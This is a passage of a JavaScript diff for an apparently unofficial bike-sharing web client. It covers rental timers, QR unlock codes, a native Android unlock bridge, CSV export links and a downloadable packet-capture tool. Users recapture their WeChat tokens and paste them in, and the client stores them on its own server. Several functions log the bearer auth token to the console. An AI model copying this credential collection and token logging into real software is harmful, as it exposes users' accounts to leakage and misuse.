+ + if (_findClickCount >= LOST_TRIGGER_CLICKS) { + _findClickCount = 0; + clearTimeout(_findClickTimer); + showLostModal(); + return; + } + + // 正常寻车 + const code = selectedBike.code; + const btn = document.getElementById("bike-find-btn-header"); + const span = btn.querySelector("span"); + + btn.disabled = true; + btn.title = "发送中..."; + if (span) span.textContent = "发送中..."; + + _doFindBikeRequest(code) + .then(data => { + if (data && (data.rtn_code === 0 || data.success)) { + showToast("寻车指令已发送,请听声音"); + } else { + showToast((data && data.message) || "寻车失败"); + } + }) + .catch(err => { + showToast("请求失败: " + friendlyError(err)); + }) + .finally(() => { + if (!_lostModeActive) { + btn.disabled = false; + btn.title = "寻车"; + if (span) span.textContent = "寻车"; + } + }); + } + + // ===== 长按触发丢失模式 ===== + (function initFindBtnLongPress() { + const btn = document.getElementById("bike-find-btn-header"); + if (!btn) return; + + function startLongPress(e) { + // 丢失模式下不需要长按(单击退出即可) + if (_lostModeActive) return; + clearTimeout(_findLongPressTimer); + _findLongPressTimer = setTimeout(() => { + // 长按成功,阻止后续 click 事件触发普通寻车 + _findClickCount = 0; + clearTimeout(_findClickTimer); + showLostModal(); + }, LOST_TRIGGER_LONG); + } + + function cancelLongPress() { + clearTimeout(_findLongPressTimer); + } + + btn.addEventListener("mousedown", startLongPress); + btn.addEventListener("touchstart", startLongPress, { passive: true }); + btn.addEventListener("mouseup", cancelLongPress); + btn.addEventListener("mouseleave", cancelLongPress); + btn.addEventListener("touchend", cancelLongPress); + btn.addEventListener("touchcancel", cancelLongPress); + })(); + + // ========== 用车计时相关 ========== + function clearRentalState() { + if (rentalCountdownTimer) { + clearInterval(rentalCountdownTimer); + rentalCountdownTimer = null; + } + activeRental = null; + localStorage.removeItem(RENTAL_KEY); + const bar = document.getElementById("rental-bar"); + if (bar) bar.classList.remove("show"); + } + + async function openRentalSettingsModal() { + closeAllModals(); + SettingsPages.open("rental-settings-modal"); + try { + const resp = await fetch("/api/auth/rental_settings", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const result = await resp.json(); + if (result.rtn_code !== 0) throw new Error(result.message || "加载失败"); + const settings = result.data; + document.getElementById("rs-reminder-enabled").checked = !!settings.reminder_enabled; + document.getElementById("rs-duration").value = settings.rental_duration_minutes || 19; + document.getElementById("rs-auto-return").checked = !!settings.auto_return_enabled; + document.getElementById("rs-rounds").value = settings.rental_rounds || 1; + document.getElementById("rs-protect-card").checked = settings.protect_card !== false; + const selected = new Set((settings.reminder_minutes || []).map(String)); + document.querySelectorAll("#rs-minute-options input").forEach(el => el.checked = selected.has(el.value)); + } catch (err) { + showToast("设置加载失败:" + friendlyError(err)); + } + } + + function closeRentalSettingsModal() { SettingsPages.back(); } + + async function saveRentalSettings() { + const reminderMinutes = [...document.querySelectorAll("#rs-minute-options input:checked")].map(el => Number(el.value)); + const payload = { + reminder_enabled: document.getElementById("rs-reminder-enabled").checked, + reminder_minutes: reminderMinutes, + rental_duration_minutes: Number(document.getElementById("rs-duration").value), + auto_return_enabled: document.getElementById("rs-auto-return").checked, + rental_rounds: Number(document.getElementById("rs-rounds").value), + protect_card: document.getElementById("rs-protect-card").checked + }; + try { + const resp = await fetch("/api/auth/rental_settings", { + method: "POST", + headers: { "Authorization": `Bearer ${authToken}`, "Content-Type": "application/json" }, + body: JSON.stringify(payload) + }); + const result = await resp.json(); + if (result.rtn_code !== 0) throw new Error(result.message || "保存失败"); + closeRentalSettingsModal(); + showToast("用车设置已保存"); + } catch (err) { + showToast("保存失败:" + friendlyError(err)); + } + } + + async function syncWechatOrder() { + if (!authToken) return; + try { + const resp = await fetch("/api/rental/sync", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + } + }); + const data = await resp.json(); + console.log("[syncWechatOrder] 同步结果:", data); + if (data.rtn_code === 0 && data.data && data.data.active && data.data.source === "reminder") { + const r = data.data; + activeRental = { + rental_id: r.rental_id, + bike_code: r.bike_code, + end_time: r.end_time, + source: r.source || "reminder", + remaining_seconds: r.remaining_seconds + }; + localStorage.setItem(RENTAL_KEY, JSON.stringify(activeRental)); + } else if (data.rtn_code === 0 && data.data) { + // 真实订单走订单横幅(checkOrderStatus / fetchOrderCountdown 驱动), + // 本地计时条只承载 reminder 计时 + clearRentalState(); + } + } catch (err) { + console.error("[syncWechatOrder] 同步失败:", err); + } + } + + function checkRentalStatus() { + // 已登录才查询 + if (!authToken) { + console.log("[checkRentalStatus] 无token,跳过"); + return; + } + console.log("[checkRentalStatus] 发送请求, authToken:", authToken); + fetch("/api/rental/status", { + headers: { "Authorization": `Bearer ${authToken}` } + }) + .then(r => r.json()) + .then(data => { + console.log("[checkRentalStatus] 响应:", data); + if (data.rtn_code === 0 && data.data && data.data.active) { + const r = data.data; + + // 剩余时间 <= 0 也视为无活跃 + if (r.remaining_seconds <= 0) { + clearRentalState(); + return; + } + + // 既然后端已按用户过滤,有记录就直接显示状态栏 + activeRental = { + rental_id: r.rental_id, + order_id: r.order_id || null, + bike_code: r.bike_code, + email: r.email, + end_time: r.end_time, + final_end_time: r.final_end_time || null, + current_round: r.current_round || 1, + total_rounds: r.total_rounds || null, + source: r.source || null, + remaining_seconds: r.remaining_seconds + }; + localStorage.setItem(RENTAL_KEY, JSON.stringify(activeRental)); + showRentalBar(); + } else { + // 无活跃租车,清空 + console.log("[checkRentalStatus] 无活跃租车"); + clearRentalState(); + } + }) + .catch(err => console.error("检查租车状态失败:", err)); + } + + function startRental(bikeCode) { + // 先显示二维码,用户体验更好 + showQrModal(bikeCode); + closeCard(); + + console.log("[startRental] authToken:", authToken, "currentUser:", currentUser); + + if (!currentUser) { + showToast("登录后可开启用车计时提醒"); + return; + } + + // 调后端开启计时 + fetch("/api/rental/start", { + method: "POST", + headers: { + "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` + }, + body: JSON.stringify({ bike_code: bikeCode }) + }) + .then(r => r.json()) + .then(data => { + if (data.rtn_code === 0) { + const now = new Date(); + const endTime = new Date(now.getTime() + data.data.remaining_seconds * 1000); + activeRental = { + rental_id: data.data.rental_id, + bike_code: bikeCode, + email: currentUser.email, + remaining_seconds: data.data.remaining_seconds, + end_time: endTime.toISOString().slice(0, 19).replace('T', ' ') + }; + localStorage.setItem(RENTAL_KEY, JSON.stringify(activeRental)); + showRentalBar(); + showToast("提醒计时已开始;未绑定微信订单,请到期前手动还车"); + } else { + showToast(data.message || "计时启动失败"); + } + }) + .catch(err => { + showToast("计时未开启,请检查网络"); + console.error("启动计时失败:", err); + }); + } + + function showRentalBar() { + if (!activeRental) return; + const bar = document.getElementById("rental-bar"); + document.getElementById("rental-bike-code").textContent = `#${activeRental.bike_code}`; + // +1轮 按钮仅对真实微信订单展示(reminder 计时不支持) + const addBtn = document.getElementById("rental-add-round-btn"); + if (addBtn) { + const realOrder = activeRental.source ? activeRental.source !== "reminder" + : !!activeRental.order_id; + addBtn.style.display = realOrder ? "inline-flex" : "none"; + } + updateRentalFinalTime(); + bar.classList.add("show"); + updateRentalCountdown(); + // 每秒更新倒计时 + if (rentalCountdownTimer) clearInterval(rentalCountdownTimer); + rentalCountdownTimer = setInterval(updateRentalCountdown, 1000); + } + + function updateRentalFinalTime() { + const el = document.getElementById("rental-final-time"); + if (!el) return; + if (activeRental && activeRental.final_end_time) { + const hhmm = String(activeRental.final_end_time).slice(11, 16); + const total = activeRental.total_rounds || activeRental.rounds_planned; + el.textContent = total ? ` · 共${total}轮 预计${hhmm}还车` : ` · 预计${hhmm}还车`; + el.style.display = "inline"; + } else { + el.style.display = "none"; + } + } + + function updateRentalCountdown() { + if (!activeRental) return; + const el = document.getElementById("rental-time"); + const remaining = Math.max(0, activeRental.remaining_seconds - 1); + activeRental.remaining_seconds = remaining; + localStorage.setItem(RENTAL_KEY, JSON.stringify(activeRental)); + + const mins = Math.floor(remaining / 60); + const secs = remaining % 60; + el.textContent = `${mins}:${secs.toString().padStart(2, "0")}`; + + // 变色提示 + if (remaining <= 60) { + el.style.color = "#ff3b30"; + } else if (remaining <= 300) { + el.style.color = "#ff9f0a"; + } else { + el.style.color = "white"; + } + + if (remaining <= 0) { + clearInterval(rentalCountdownTimer); + // 超时后每分钟查一次后端确认状态 + rentalCountdownTimer = setInterval(checkRentalStatus, 60000); + } + } + + function showReturnModal() { + if (!activeRental) return; + document.getElementById("return-bike-code").textContent = `#${activeRental.bike_code}`; + document.getElementById("return-modal").classList.add("show"); + } + + function closeReturnModal() { + document.getElementById("return-modal").classList.remove("show"); + } + + async function confirmReturn() { + closeReturnModal(); + if (!activeRental) return; + + try { + const response = await fetch("/api/rental/return", { + method: "POST", + headers: { + "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` + }, + body: JSON.stringify({ rental_id: activeRental.rental_id }) + }); + const data = await response.json(); + + // 只有后端返回成功才清除本地状态 + if (data.rtn_code === 0) { + clearRentalState(); + showToast("已确认还车,祝您使用愉快!"); + } else { + // 后端返回错误,保持本地状态,提示用户 + showToast(data.message || "还车失败,请重试"); + console.error("还车失败:", data); + } + } catch (err) { + console.error("确认还车失败:", err); + showToast("网络错误,请检查网络后重试"); + } + } + + // 原生壳(Android)判定:UA 由 Android WebView 注入 xbniu-native,head 脚本已给 加 in-native-shell + function isNativeShell() { + return document.documentElement && document.documentElement.classList.contains('in-native-shell'); + } + // 网页点“开锁用车”时,把开锁交给安卓原生(原生里选账号/共享并开锁);返回 true 表示已交给原生 + function nativeUnlockBike(code) { + try { + if (isNativeShell() && window.xbniuAndroid && typeof window.xbniuAndroid.unlock === 'function') { + window.xbniuAndroid.unlock(String(code)); + return true; + } + } catch (e) { console.error("[原生桥] 调用失败:", e); } + return false; + } + + function unlockBike() { + if (!selectedBike) return; + + // 检查车辆状态 + const bikeState = getBikeState(selectedBike); + if (bikeState === 'inuse') { + showToast("该车正在使用中,请稍后再试"); + closeCard(); + return; + } + if (bikeState === 'locked') { + showToast("该车已锁定,无法使用"); + closeCard(); + return; + } + if (bikeState === 'reserved') { + showToast("该车已被预约"); + closeCard(); + return; + } + + // 原生壳:点击即交给安卓原生开锁(账号选择在原生 BikeDetailActivity),不在此出网页二维码 + if (nativeUnlockBike(selectedBike.code)) { + return; + } + + // 网页端默认:显示二维码弹窗(长按二维码才开始计时) + showQrModal(selectedBike.code); + } + + // 显示二维码弹窗(适配微信扫码 - img格式) + let currentQrPosition = null; // 当前二维码对应的位置 + + function showQrModal(code) { + const modal = document.getElementById("qr-modal"); + const qrBox = document.getElementById("qrcode-box"); + const quickBtn = document.getElementById("quick-unlock-btn"); + + // 清空旧的二维码 + qrBox.innerHTML = ""; + + // 获取当前位置 + currentQrPosition = null; + if (navigator.geolocation) { + navigator.geolocation.getCurrentPosition( + pos => { + currentQrPosition = { + lat: pos.coords.latitude, + lng: pos.coords.longitude + }; + }, + err => console.error("获取位置失败:", err), + { timeout: 5000 } + ); + } + + // 生成新二维码 + const url = "http://bike.sdlongren.com/bicycle?code=" + code; + + // 判断暗色模式 + const isDark = window.matchMedia('(prefers-color-scheme: dark)').matches; + const dark = isDark ? '#ffffff' : '#000000'; + const light = isDark ? '#1a1a1a' : '#ffffff'; + + // 生成 img 格式二维码(参考 xbcr.html) + createQrImage(url, dark, light, function(dataUrl) { + qrBox.innerHTML = ""; // 清空旧内容 + if (!dataUrl) { + // 二维码库不可用:明确告知并保留一键开锁入口,避免“点了没反应” + qrBox.innerHTML = '
二维码生成组件加载失败,
可直接使用下方一键开锁。
'; + modal.classList.add("show"); + quickBtn.style.display = (authToken && currentUser) ? "block" : "none"; + showToast("二维码组件加载失败,可一键开锁"); + return; + } + const img = document.createElement('img'); + img.src = dataUrl; + img.alt = '用车二维码'; + img.style.cssText = 'width:160px;height:160px;border-radius:4px;box-shadow:rgba(0,0,0,0.4) 2px 2px 8px;display:block;'; + qrBox.appendChild(img); + qrBox.dataset.bikeCode = code; // 存车牌,长按时用 + modal.classList.add("show"); + + // 如果用户已登录,显示一键开锁按钮 + if (authToken && currentUser) { + quickBtn.style.display = "block"; + } else { + quickBtn.style.display = "none"; + } + }); + } + + // 生成高质量二维码图片(img格式,适配微信长按识别) + function createQrImage(text, dark, light, callback) { + const size = 160; + const padding = 20; + const canvas = document.createElement('canvas'); + canvas.width = canvas.height = size + padding * 2; + const ctx = canvas.getContext('2d'); + + // 白色背景 + ctx.fillStyle = light; + ctx.fillRect(0, 0, canvas.width, canvas.height); + + // 生成二维码到临时容器 + const tmp = document.createElement('div'); + tmp.style.display = 'none'; + document.body.appendChild(tmp); + + // qrcodejs 加载失败时(如外链 CDN 不可达)给出明确提示,而不是无声无息 + if (typeof QRCode === "undefined") { + document.body.removeChild(tmp); + callback(null); + return; + } + + new QRCode(tmp, { + text: text, + width: size, + height: size, + colorDark: dark, + colorLight: light, + correctLevel: QRCode.CorrectLevel.L + }); + + // 从临时容器提取 canvas 并画到带padding的画布上 + setTimeout(function() { + var qrCanvas = tmp.querySelector('canvas'); + if (qrCanvas) { + ctx.drawImage(qrCanvas, padding, padding); + } + document.body.removeChild(tmp); + callback(qrCanvas ? canvas.toDataURL('image/png', 1) : null); + }, 0); + } + + // 关闭二维码弹窗 + function closeQrModal() { + document.getElementById("qr-modal").classList.remove("show"); + document.getElementById("quick-unlock-btn").style.display = "none"; + // 清除长按定时器 + longPressTimer = null; + longPressTarget = null; + currentQrPosition = null; + } + + // 长按检测变量 + let longPressTimer = null; + let longPressTarget = null; + let qrModalBikeCode = null; // 当前二维码对应的车牌 + + // 二维码弹窗的二维码区域长按检测 + function setupQrLongPress() { + const qrBox = document.getElementById("qrcode-box"); + + // 统一用 pointer 事件(兼容触摸和鼠标) + qrBox.addEventListener("pointerdown", function(e) { + if (!currentUser) return; + e.preventDefault(); // 阻止右键菜单等默认行为 + qrModalBikeCode = qrBox.dataset.bikeCode || ""; + longPressTimer = setTimeout(() => { + longPressTimer = null; + if (qrModalBikeCode && currentUser) { + // 视觉反馈 + qrBox.style.backgroundColor = "rgba(52,199,89,0.2)"; + setTimeout(() => { qrBox.style.backgroundColor = "white"; }, 500); + startRental(qrModalBikeCode); + } + }, 300); + }); + + qrBox.addEventListener("pointerup", function(e) { + if (longPressTimer) { + clearTimeout(longPressTimer); + longPressTimer = null; + } + }); + + qrBox.addEventListener("pointerleave", function(e) { + if (longPressTimer) { + clearTimeout(longPressTimer); + longPressTimer = null; + } + }); + + qrBox.addEventListener("pointercancel", function(e) { + if (longPressTimer) { + clearTimeout(longPressTimer); + longPressTimer = null; + } + }); + } + + // 页面加载时初始化长按检测 + setupQrLongPress(); + + // 点击遮罩关闭 + document.getElementById("qr-modal").addEventListener("click", function(e) { + if (e.target === this) closeQrModal(); + }); + + // ========== 通用确认弹窗(替换 window.confirm) ========== + // 为什么不用 confirm:原生壳是 Android WebView,WebView 默认不弹 JS 原生对话框 + // (Chromium 需要宿主实现 onJsConfirm,未实现时 confirm 直接返回 false,用户点不到"确认")。 + // 这里用页面内弹窗,行为一致但任何环境都能用。 + let _appConfirmResolve = null; + function appConfirm(message, opts) { + const o = opts || {}; + const modal = document.getElementById("app-confirm-modal"); + const titleEl = document.getElementById("app-confirm-title"); + const textEl = document.getElementById("app-confirm-text"); + const okBtn = document.getElementById("app-confirm-ok"); + const cancelBtn = document.getElementById("app-confirm-cancel"); + if (!modal || !textEl) { // 极老页面兜底 + return Promise.resolve(window.confirm ? window.confirm(message) : true); + } + titleEl.textContent = o.title || "确认操作"; + // 支持换行(保留 \n 的排版) + textEl.innerHTML = String(message || "") + .split("\n") + .map(line => escHtml(line)) + .join("
"); + okBtn.textContent = o.okText || "确认"; + cancelBtn.textContent = o.cancelText || "取消"; + okBtn.classList.toggle("danger", !!o.danger); + + return new Promise(resolve => { + _appConfirmResolve = resolve; + const finish = (val) => { + modal.classList.remove("show"); + okBtn.onclick = null; + cancelBtn.onclick = null; + modal.onclick = null; + _appConfirmResolve = null; + resolve(val); + }; + okBtn.onclick = (e) => { e.stopPropagation(); finish(true); }; + cancelBtn.onclick = (e) => { e.stopPropagation(); finish(false); }; + modal.onclick = (e) => { if (e.target === modal) finish(false); }; + modal.classList.add("show"); + }); + } + function appConfirmClose() { + if (_appConfirmResolve) { + const r = _appConfirmResolve; + _appConfirmResolve = null; + document.getElementById("app-confirm-modal").classList.remove("show"); + r(false); + } + } + + function mapSnapshotNow() { + return renderedMapSnapshot + ? renderedMapSnapshot.serverTime + (performance.now() - renderedMapSnapshot.receivedAt) / 1000 + : Date.now() / 1000; + } + + function updateMapFreshnessBadge() { + const el = document.getElementById("update-time"); + if (!el) return; + const stamp = Number(renderedMapSnapshot?.fetched_at); + if (renderedMapSnapshot && Number.isFinite(stamp) && renderedMapSnapshot.fetched_at !== null) { + el.textContent = new Date(stamp * 1000).toLocaleTimeString('zh-CN', { + timeZone: 'Asia/Shanghai', hour: '2-digit', minute: '2-digit' + }); + const expired = mapSnapshotNow() >= Number(renderedMapSnapshot.expires_at); + el.classList.toggle("stale", expired || mapRefreshFailed); + } else if (mapRefreshFailed) { + el.textContent = "更新失败"; + el.classList.add("stale"); + } + el.onclick = showFreshnessDetail; + el.style.cursor = "pointer"; + } + + function updateTime() { + if (renderedMapSnapshot) { updateMapFreshnessBadge(); return; } + // Compatibility for a server without snapshot metadata; never show client time. + fetch(`/api/map/freshness?type=${encodeURIComponent(currentType)}`, { cache: "no-store" }) + .then(r => r.json()) + .then(result => { + if (result.rtn_code !== 0 || !result.data?.latest) return; + const el = document.getElementById("update-time"); + if (!el) return; + el.textContent = String(result.data.latest).slice(11, 16); + el.classList.toggle("stale", result.data.status === "stale" || result.data.stale_seconds >= 60); + el.onclick = showFreshnessDetail; + el.style.cursor = "pointer"; + }) + .catch(() => {}); + } + + function showFreshnessDetail() { + if (renderedMapSnapshot && renderedMapSnapshot.fetched_at !== null) { + const seconds = Math.max(0, Math.floor(mapSnapshotNow() - renderedMapSnapshot.fetched_at)); + const when = new Date(renderedMapSnapshot.fetched_at * 1000).toLocaleTimeString('zh-CN', { timeZone: 'Asia/Shanghai' }); + const age = seconds < 60 ? `${seconds} 秒前` : `${Math.floor(seconds / 60)} 分钟前`; + showToast(`车辆数据更新于 ${when}(${age})${mapRefreshFailed ? ',更新暂时失败,正在自动重试' : ''}`); + return; + } + showToast(mapRefreshFailed ? "地图数据暂时不可用,正在自动重试" : "正在获取最新车辆数据"); + } + + function showToast(msg) { + const t = document.getElementById("toast"); + t.textContent = msg; + t.classList.add("show"); + setTimeout(() => t.classList.remove("show"), 2500); + } + + // ========== 抓包工具下载 ========== + // 安装包是 Windows exe,任何手机/平板都跑不了;微信、QQ、支付宝等内置 + // WebView 还会直接拦截 exe 下载。这两类情况都改为提示复制链接到电脑浏览器。 + const CAPTURE_TOOL_PATH = "/download/capture-tool.exe"; + + // 鸿蒙 UA 有两种:老版 HarmonyOS + Android 兼容层,新版纯 OpenHarmony/ArkWeb; + // 微信鸿蒙版仍带 MicroMessenger,但部分版本 UA 精简后只剩 HarmonyOS。 + function detectHarmony() { + const ua = navigator.userAgent || ""; + return /OpenHarmony|HarmonyOS|ArkWeb|HMSCore/i.test(ua); + } + function detectMobile() { + const ua = navigator.userAgent || ""; + const touchPoints = navigator.maxTouchPoints || 0; + // iPadOS 13+ 默认「请求桌面网站」,UA 伪装成 macOS; + // 靠触点数区分真正的 Mac(0)与 iPad(>1) + if (/Macintosh/.test(ua) && touchPoints > 1) return "iPad"; + // 鸿蒙平板也常带 Tablet,先于手机判断 + if (/OpenHarmony|HarmonyOS|ArkWeb/.test(ua)) { + return /Tablet/i.test(ua) ? "鸿蒙平板" : "鸿蒙手机"; + } + if (/iPhone|iPod/.test(ua)) return "iPhone"; + if (/iPad/.test(ua)) return "iPad"; + if (/Android/.test(ua)) return /Tablet/i.test(ua) ? "安卓平板" : "安卓手机"; + // 兜底:UA 明确标了 Mobile 但没给出具体平台 + if (/Mobile/i.test(ua)) return "手机"; + return null; + } + // 返回需要拦截的"环境名",null 表示可以直接下载 + function detectInAppBrowser() { + const ua = navigator.userAgent || ""; + // 原生壳优先判断:它是最外层容器,UA 里可能同时带 Android + if (/xbniu-native/i.test(ua)) return "APP"; + if (/MicroMessenger/i.test(ua)) return detectHarmony() ? "鸿蒙微信" : "微信"; + if (/\bQQ\/|QQBrowser/i.test(ua)) return "QQ"; + if (/AlipayClient/i.test(ua)) return "支付宝"; + if (/DingTalk/i.test(ua)) return "钉钉"; + if (/Weibo/i.test(ua)) return "微博"; + if (/aweme|ByteDance/i.test(ua)) return "抖音"; + return null; + } + function captureToolUrl() { + return new URL(CAPTURE_TOOL_PATH, window.location.href).href; + } + // 返回 true 时放行 的原生下载 + function onDownloadCaptureTool(event) { + const app = detectInAppBrowser(); + const mobile = app ? null : detectMobile(); // 内嵌环境优先,文案更具体 + if (!app && !mobile) return true; + if (event) event.preventDefault(); + showDownloadTipModal(app, mobile); + return false; + } + function showDownloadTipModal(appName, mobileName) { + const title = document.getElementById("download-tip-title"); + const desc = document.getElementById("download-tip-desc"); + const hint = document.getElementById("download-tip-hint"); + title.textContent = "请在电脑上下载安装"; + if (appName) { + desc.textContent = `${appName}内无法直接下载安装包。请复制下面的链接,在电脑浏览器中打开下载。`; + hint.textContent = "安装包为 Windows 程序,手机端下载后无法运行。"; + } else { + // 普通移动端浏览器:能下载但装了也用不了,引导去电脑 + desc.textContent = `当前是${mobileName || "移动设备"},安装包为 Windows 程序,在此设备上无法运行。请复制下面的链接,在电脑浏览器中打开下载。`; + hint.textContent = ""; + } + hint.style.display = hint.textContent ? "block" : "none"; + document.getElementById("download-tip-link").value = captureToolUrl(); + document.getElementById("download-tip-modal").classList.add("show"); + } + function closeDownloadTipModal() { + document.getElementById("download-tip-modal").classList.remove("show"); + } + + // ========== 数据导出(CSV 直链,1 小时有效) ========== + // 流程:POST /api/export/create(登录态)→ 拿到免登录直链。 + // UA 复用 detectInAppBrowser:微信/QQ/支付宝/钉钉/微博/抖音/原生壳内无法直接下载, + // 弹「复制链接到外部浏览器」提示;普通浏览器直接触发下载。 + function closeExportTipModal() { + document.getElementById("export-tip-modal").classList.remove("show"); + } + async function copyExportLink() { + const url = document.getElementById("export-tip-link").value; + const input = document.getElementById("export-tip-link"); + try { + if (navigator.clipboard && window.isSecureContext) { + await navigator.clipboard.writeText(url); + showToast("链接已复制,请在浏览器中打开"); + return; + } + throw new Error("clipboard unavailable"); + } catch (e) { + try { + input.removeAttribute("readonly"); + input.select(); + document.execCommand("copy"); + input.setAttribute("readonly", ""); + showToast("链接已复制,请在浏览器中打开"); + } catch (e2) { + showToast("复制失败,请长按链接手动复制"); + } + } + } + async function exportHistoryCsv() { + if (!authToken) { showToast("请先登录"); return; } + showToast("正在生成导出链接..."); + try { + const resp = await fetch("/api/export/create", { + method: "POST", + headers: { "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` }, + body: JSON.stringify({ type: "history_csv" }) + }); + const data = await resp.json(); + if (data.rtn_code !== 0) { + showToast(data.message || "生成导出链接失败"); + return; + } + const url = new URL(data.data.url, window.location.href).href; + const app = detectInAppBrowser(); + if (app) { + // 微信/原生壳等内嵌环境:给直链,复制到外部浏览器下载(直链免登录,1小时有效) + document.getElementById("export-tip-desc").textContent = + `${app}内无法直接下载文件。请复制下面的链接到系统浏览器打开(免登录,${data.data.ttl_hours} 小时内有效)。`; + document.getElementById("export-tip-link").value = url; + document.getElementById("export-tip-modal").classList.add("show"); + return; + } + // 普通浏览器:直接下载,同时保留直链以便换浏览器使用 + const a = document.createElement("a"); + a.href = url; + a.download = ""; + document.body.appendChild(a); + a.click(); + a.remove(); + showToast(`已开始下载(直链 ${data.data.ttl_hours} 小时内有效)`); + } catch (err) { + showToast("导出失败,请重试"); + } + } + async function copyDownloadLink() { + const url = captureToolUrl(); + const input = document.getElementById("download-tip-link"); + // 微信等 WebView 常禁用 navigator.clipboard(非安全上下文或权限拒绝), + // 回退到选中 + execCommand 的老办法 + try { + if (navigator.clipboard && window.isSecureContext) { + await navigator.clipboard.writeText(url); + showToast("链接已复制"); + return; + } + throw new Error("clipboard unavailable"); + } catch (e) { + try { + input.removeAttribute("readonly"); + input.select(); + input.setSelectionRange(0, url.length); + const ok = document.execCommand("copy"); + input.setAttribute("readonly", "readonly"); + showToast(ok ? "链接已复制" : "复制失败,请长按链接手动复制"); + } catch (e2) { + showToast("复制失败,请长按链接手动复制"); + } + } + } + + // 底层异常转用户提示:网关/错误页返回 HTML 时 resp.json() 会抛 + // "Unexpected token '<' ... is not valid JSON",直接展示既难懂又含 token 字样易引起误解 + function friendlyError(e) { + const msg = (e && e.message) || ""; + if (/Unexpected token|is not valid JSON|JSON\.parse/i.test(msg)) { + return "服务响应异常,请稍后重试"; + } + return msg || "网络错误,请重试"; + } + + // ========== Token失效弹窗 ========== + // 仅在真正检测到微信凭据失效时调用;带冷却时间,避免轮询/刷新反复打扰 + let _credInvalidLastShownAt = 0; + const CRED_INVALID_MODAL_COOLDOWN = 10 * 60 * 1000; // 10 分钟内不重复弹出 + function notifyCredentialInvalid(message) { + const modal = document.getElementById("token-expired-modal"); + if (!modal || modal.classList.contains("show")) return; + if (Date.now() - _credInvalidLastShownAt < CRED_INVALID_MODAL_COOLDOWN) return; + _credInvalidLastShownAt = Date.now(); + showTokenExpiredModal(null, message); + } + function showTokenExpiredModal(customTitle, customDesc) { + document.getElementById("token-expired-title").textContent = customTitle || "token已失效,请重新登录"; + document.getElementById("token-expired-desc").textContent = customDesc || "您的微信凭据已过期,请重新抓包获取最新的 Token ID(及 AccessToken)"; + document.getElementById("token-expired-modal").classList.add("show"); + // 预填当前用户已有的token信息 + loadExpiredTokenFields(); + } + function closeTokenExpiredModal() { + document.getElementById("token-expired-modal").classList.remove("show"); + document.getElementById("expired-tip").textContent = ""; + } + async function loadExpiredTokenFields() { + if (!authToken) return; + try { + const resp = await fetch("/api/auth/profile", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code === 0 && data.data) { + document.getElementById("expired-token-id").value = data.data.token_id || ""; + document.getElementById("expired-signature").value = data.data.token || ""; + } + } catch (e) { /* ignore */ } + } + async function saveExpiredToken() { + if (!authToken) { + document.getElementById("expired-tip").textContent = "请先登录"; + return; + } + const token_id = document.getElementById("expired-token-id").value.trim(); + const access_token = document.getElementById("expired-signature").value.trim(); + const tip = document.getElementById("expired-tip"); + + if (!token_id) { + tip.textContent = "Token ID 必填;AccessToken 选填"; + return; + } + + tip.textContent = "验证中..."; + try { + const verifyResp = await fetch("/api/auth/verify_token", { + method: "POST", + headers: { "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` }, + body: JSON.stringify({ access_token, token_id }) + }); + const verifyData = await verifyResp.json(); + if (!verifyData.valid) { + tip.textContent = verifyData.message || "凭据验证失败,请检查 Token ID 是否正确"; + return; + } + } catch (err) { + tip.textContent = "验证失败"; + return; + } + + try { + const resp = await fetch("/api/auth/save_token", { + method: "POST", + headers: { + "Content-Type": "application/json", + "Authorization": `Bearer ${authToken}` + }, + body: JSON.stringify({ access_token, token_id }) + }); + const data = await resp.json(); + if (data.rtn_code === 0) { + tip.textContent = ""; + closeTokenExpiredModal(); + showToast("凭证已更新 ✓"); + } else { + tip.textContent = data.message || "保存失败"; + } + } catch (err) { + tip.textContent = "保存失败"; + } + } + + // ========== 定位最近车辆(手动找车)========== + function locateMe() { + if (!navigator.geolocation) { + showToast("您的浏览器不支持定位"); + return; + } + + // 启动自动持续定位(页面启动时调用一次即可) + startAutoLocation(); + } + + // 手动找最近的车(基于当前自动定位的位置) + function findNearestBikeManual() { + if (!autoLocationMarker) { + showToast("请先开启定位"); + return; + } + + const point = autoLocationMarker.getPosition(); + findNearestBike(point); + } + + // 显示我的位置(手动定位模式,带 panTo) + function showMyLocation(point) { + if (myLocationMarker) { + map.removeOverlay(myLocationMarker); + } + // 蓝色脉冲点 + const size = 24; + const canvas = document.createElement("canvas"); + canvas.width = size; + canvas.height = size; + const ctx = canvas.getContext("2d"); + ctx.beginPath(); + ctx.arc(size/2, size/2, size/2 - 2, 0, Math.PI * 2); + ctx.fillStyle = "#007AFF"; + ctx.fill(); + ctx.beginPath(); + ctx.arc(size/2, size/2, 6, 0, Math.PI * 2); + ctx.fillStyle = "white"; + ctx.fill(); + + const icon = new BMapGL.Icon(canvas.toDataURL(), new BMapGL.Size(size, size), new BMapGL.Size(size/2, size/2)); + myLocationMarker = new BMapGL.Marker(point, { icon }); + map.addOverlay(myLocationMarker); + map.panTo(point); + } + + // 绘制自动定位标记(带外圈脉冲效果,灰色调) + function createAutoLocationIcon() { + const size = 28; + const canvas = document.createElement("canvas"); + canvas.width = size; + canvas.height = size; + const ctx = canvas.getContext("2d"); + + // 外圈(浅蓝色,脉冲感) + ctx.beginPath(); + ctx.arc(size/2, size/2, size/2 - 2, 0, Math.PI * 2); + ctx.strokeStyle = "rgba(0, 122, 255, 0.3)"; + ctx.lineWidth = 3; + ctx.stroke(); + + // 中圈 + ctx.beginPath(); + ctx.arc(size/2, size/2, 8, 0, Math.PI * 2); + ctx.strokeStyle = "rgba(0, 122, 255, 0.6)"; + ctx.lineWidth = 2; + ctx.stroke(); + + // 中心点 + ctx.beginPath(); + ctx.arc(size/2, size/2, 4, 0, Math.PI * 2); + ctx.fillStyle = "#007AFF"; + ctx.fill(); + + return canvas.toDataURL("image/png"); + } + + // 更新自动定位标记位置(不 panTo) + function updateAutoLocation(point) { + if (!autoLocationMarker) { + // 首次创建 + const iconUrl = createAutoLocationIcon(); + const icon = new BMapGL.Icon(iconUrl, new BMapGL.Size(28, 28), new BMapGL.Size(14, 14)); + autoLocationMarker = new BMapGL.Marker(point, { icon }); + map.addOverlay(autoLocationMarker); + } else { + // 更新位置 + 